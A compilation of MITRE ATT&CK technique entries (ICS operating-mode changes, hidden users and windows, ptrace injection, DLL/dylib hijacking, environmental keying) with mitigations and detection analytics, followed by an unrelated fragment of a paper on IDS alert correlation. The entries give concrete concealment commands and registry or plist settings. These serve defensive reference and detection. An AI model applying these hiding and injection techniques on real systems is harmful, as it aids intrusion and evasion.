[…]\n\n## Reference: ATT&CK T0858 Change Operating Mode\n**ATT&CK T0858 Change Operating Mode (full record).** Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: execution, evasion\n- Platforms: Embedded\n\n**Mitigations.** - **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. […]\n\n## Reference: ATT&CK T0859 Valid Accounts\n**ATT&CK T0859 Valid Accounts (full record).** Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way.\n\nAdversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.\n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.\n\n**Classification.** - Tactics: persistence, lateral-movement\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Privileged Account Management**: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.\n- **User Account Management**: Manage the creation, modification, use, and permissions associated to user accounts.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. […]\n\n## Reference: ATT&CK T0860 Wireless Compromise\n**ATT&CK T0860 Wireless Compromise (full record).** Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance.\n\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications. […]\n\n## Reference: ATT&CK T0861 Point & Tag Identification\n**ATT&CK T0861 Point & Tag Identification (full record).** Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. Tags are the identifiers given to points for operator convenience.\n\nCollecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols.

Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.\n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).\n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n## Mitigations\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Unauthorized Network Firewall Rule Modification**\n - Defender observes configuration changes on firewall/network appliance involving rule creation, modification, or deletion from abnormal management IPs or non-console channels (e.g., remote CLI, API). These are often correlated with a spike in previously blocked outbound traffic, unexpected allow-all rules, or bulk rule deletions.

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls –a` for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name. Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app. On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a.ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. […]\n\n## Reference: ATT&CK T1564.002 Hidden Users\n**ATT&CK T1564.002 Hidden Users (full record).** Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.\n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value `Hide500Users` to `TRUE` in the `/Library/Preferences/com.apple.loginwindow` plist file. Every user has a userID associated with it. When the `Hide500Users` key value is set to `TRUE`, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the `dscl` utility to create hidden user accounts by setting the `IsHidden` attribute to `1`. Adversaries can also hide a user’s home folder by changing the `chflags` to hidden.\n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList` Registry key value to `0` for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the `gsettings` command (ex: `sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true`). Display Managers are not anchored to specific distributions and may be changed by a user or adversary. […]\n\n## Reference: ATT&CK T1564.003 Hidden Window\n**ATT&CK T1564.003 Hidden Window (full record).** Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop` API that can create a hidden desktop window with its own corresponding `explorer.exe` process. All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. […]\n\n## Reference: ATT&CK T1564.004 NTFS File Attributes\n**ATT&CK T1564.004 NTFS File Attributes (full record).** Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)**\n - Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data.

Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.\n\nWhile local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes. By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.\n\nIn Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.\n\nMutex names may be hard-coded or dynamically generated using a predictable algorithm.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1480 Execution Guardrails - Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target.\n\n**Mitigations.** - **Do Not Mitigate**: The Do Not Mitigate category highlights scenarios where attempting to mitigate a specific technique may inadvertently increase the organization's security risk or operational instability. This could happen due to the complexity of the system, the integration of critical processes, or the potential for introducing new vulnerabilities. Instead of direct mitigation, these situations may call for alternative strategies such as detection, monitoring, or response.\n\n**Detection strategies and analytics.** - **Detection of Mutex-Based Execution Guardrails Across Platforms**\n - Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.

By blocking these reporting messages, an adversary can potentially hide their actions from an operator.\n\nBlocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function.

Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Boot Integrity**: Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.\n- **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications.\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses. Perform periodic integrity checks of the device to validate the correctness of the firmware, software, programs, and configurations. Integrity checks, which typically include cryptographic hashes or digital signatures, should be compared to those obtained at known valid states, especially after events like device reboots, program downloads, or program restarts.\n- **Encrypt Sensitive Information**: Protect sensitive data-at-rest with strong encryption.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n\n## Detection strategies and analytics\n- **Detection of Module Firmware**\n - Real-time monitoring identifies a firmware write command targeting a specific Input/Output (I/O) module slot address within a controller chassis from a source not in the approved engineering workstation list, distinguishing module-level firmware modification from main-processor firmware updates by its slot-addressed targeting.

Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment.\n\nThis technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices.\n\nAn easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following:\n\n* Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time.\n* Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return.\n* Random Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator.\n* A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise.\n* Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.\n\n## Reference: ATT&CK DET0196 Domain Fronting Behavior via Mismatched TLS SNI and HTTP Host Headers\n**Detects.** - T1090.004 Domain Fronting\n\n**Analytics.** - Analytic 0564: Suspicious outbound HTTPS connections where the TLS Server Name Indication (SNI) does not match the HTTP Host header, indicating potential use of domain fronting to mask C2 traffic via CDNs.\n- Analytic 0565: Applications such as `curl`, `wget`, or custom binaries initiate HTTPS connections where the TLS SNI is mismatched or absent while HTTP Host targets CDN-available C2 endpoints.\n- Analytic 0566: Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.\n- Analytic 0567: Traffic originating from ESXi hosts or management interfaces displays SNI-to-Host mismatch behavior, particularly anomalous given typical infrastructure communication patterns.\n\n## Reference: ATT&CK DET0197 Behavior-chain, platform-aware detection strategy for T1125 Video Capture\n**Detects.** - T1125 Video Capture\n\n**Analytics.** - Analytic 0568: A non-standard process (or script-hosted process) loads camera/video-capture libraries (e.g., avicap32.dll, mf.dll, ksproxy.ax), opens the Camera Frame Server/device, writes video/image artifacts (e.g.,.mp4/.avi/.yuv) to unusual locations, and optionally initiates outbound transfer shortly after.\n- Analytic 0569: A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.\n- Analytic 0570: A non-whitelisted process receives TCC camera entitlement (kTCCServiceCamera), opens AppleCamera/AVFoundation device handles, writes.mov/.mp4 artifacts to unusual locations, and/or beacons/exfiltrates soon after.\n\n## Reference: ATT&CK DET0198 Detect Abuse of Container APIs for Credential Access\n**Detects.** - T1552.007 Container API\n\n**Analytics.** - Analytic 0571: Detection correlates anomalous Docker or Kubernetes API requests with access to logs, secrets, or service accounts.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Account Use Policies**: Account Use Policies help mitigate unauthorized access by configuring and enforcing rules that govern how and when accounts can be used. These policies include enforcing account lockout mechanisms, restricting login times, and setting inactivity timeouts. Proper configuration of these policies reduces the risk of brute-force attacks, credential theft, and unauthorized access by limiting the opportunities for malicious actors to exploit accounts.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1573 Encrypted Channel - Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity.

Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1574.010 Services File Permissions Weakness: Adversaries may execute their own malicious payloads by hijacking the binaries used by services.\n- T1574.013 KernelCallbackTable: Adversaries may abuse the `KernelCallbackTable` of a process to hijack its execution flow in order to run their own payloads.\n- T1574.007 Path Interception by PATH Environment Variable: Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries.\n- T1574.005 Executable Installer File Permissions Weakness: Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer.\n- T1574.009 Path Interception by Unquoted Path: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\n- T1574.004 Dylib Hijacking: Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime.\n- T1574.006 Dynamic Linker Hijacking: Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. […]\n\n## Reference: ATT&CK T1574.001 DLL\n**ATT&CK T1574.001 DLL (full record).** Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n**DLL Sideloading.** Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.\n\n**DLL Search Order Hijacking.** Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. […]\n\n## Reference: ATT&CK T1574.004 Dylib Hijacking\n**ATT&CK T1574.004 Dylib Hijacking (full record).** Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with `@rpath`, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the `LC_LOAD_WEAK_DYLIB` function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: macOS\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for Hijack Execution Flow: Dylib Hijacking**\n - Detection focuses on adversaries placing or modifying malicious dylibs in locations searched by legitimate applications.

Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with Remote Services. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.\n\nWithin Industrial control system networks, workstations, control servers, hypervisors, networking devices, and embedded devices that run on linux platforms may allow for Unix command shell access or stripped-down shells to implement a subset of commands.

For the purposes of discussion, an idealised form of correlation output is defined which hides specific details of the correlation algorithm from the AIS component. This model, while fairly simple, adequately maps to current state of the art correlation algorithms. Firstly, as in [8], exploits are viewed as a 3-tuple (vuln, src, dst) where vuln is the identity of a know exploit and src and dst refer to two hosts which must be connected for the exploit to be carried out accross the network. An injective function “f ” (ALERT → EX P LOI T). This is because there may be several\n\nvariations of a single exploit, each requiring a different signature from the underlying IDS and consequently producing distinct alerts. Parenthetically, many IDS signatures contain within them meta-data such as the Bugtraq or Mitre Common Vulnerabilities and Exposures (CVE) identification numbers which allows this function to be implemented automatically. With our assumptions stated we may proceed to define our correlation graph. The output graph, G, is defined as a DAG with exploit vertices (Ve), condition vertices (Vc) and edges (E): G = Ve ∪ Vc ∪ E\n\nFig. 1. Example output graph (conditions are boxes and exploits are ellipses).\n\nThe two types of vertex are necessary for being able to represent both conjunctive and disjunctive relations between exploits. As we can imagine by looking at Figure 1, any number of exploits may lead to condition 3, namely compromise of root privileges. This would mean that either the “AMSLVerify” exploit or some other root exploit may precede “Mstream Zombie Download.” In another situation we may want “AMSLVerify” and some other exploit to be the precondition. In this case we would simply introduce another pre-requisite condition for that exploit alongside condition 3. Each disconnected subgraph is considered as a threat scenario. That is to say, a structured set of low level alerts which constitute a single logical attack sequence. There is a function “vertexstate” (V ERT EX → V ERT EX ST AT E) which returns a 3 valued type, {H Y P, REAL, P RED} for hypothesised, real or pre-\n\ndicted respectively. Condition vertices have a function “val” (V ERT EX → BOOL) which tells us the value of the condition. In addition to this, exploit vertices contain information about the computer systems involved. Functions for retrieving source and destination addresses and ports are also provided. For the purposes of discussion we will assume that monitored networks are using the familiar TCP/IP protocol suite. Consequently we shall refer to these functions as “src”, “dst”, “srcport” and “dstport.”\n\n## 2.2 Danger Theory\nOver the last decade the focus of research in immunology has shifted from the adaptive to innate immune system, and the cells of innate immunity has moved to the fore in understanding the behaviour of immune system as a whole[2]. Insights gained from this research are beginning to be appreciated and modelled at various levels by researchers building artificial immune systems. The algorithm described in Section 3 incorporates at a conceptual level mechanisms from both the innate and adaptive immune system although, because of the change in problem domain, these are implemented differently. This section briefly reviews the biological processes and mechanisms which have been drawn upon when designing the algorithm presented in this paper. The biological immune system as a whole provides effective host defense through the complex 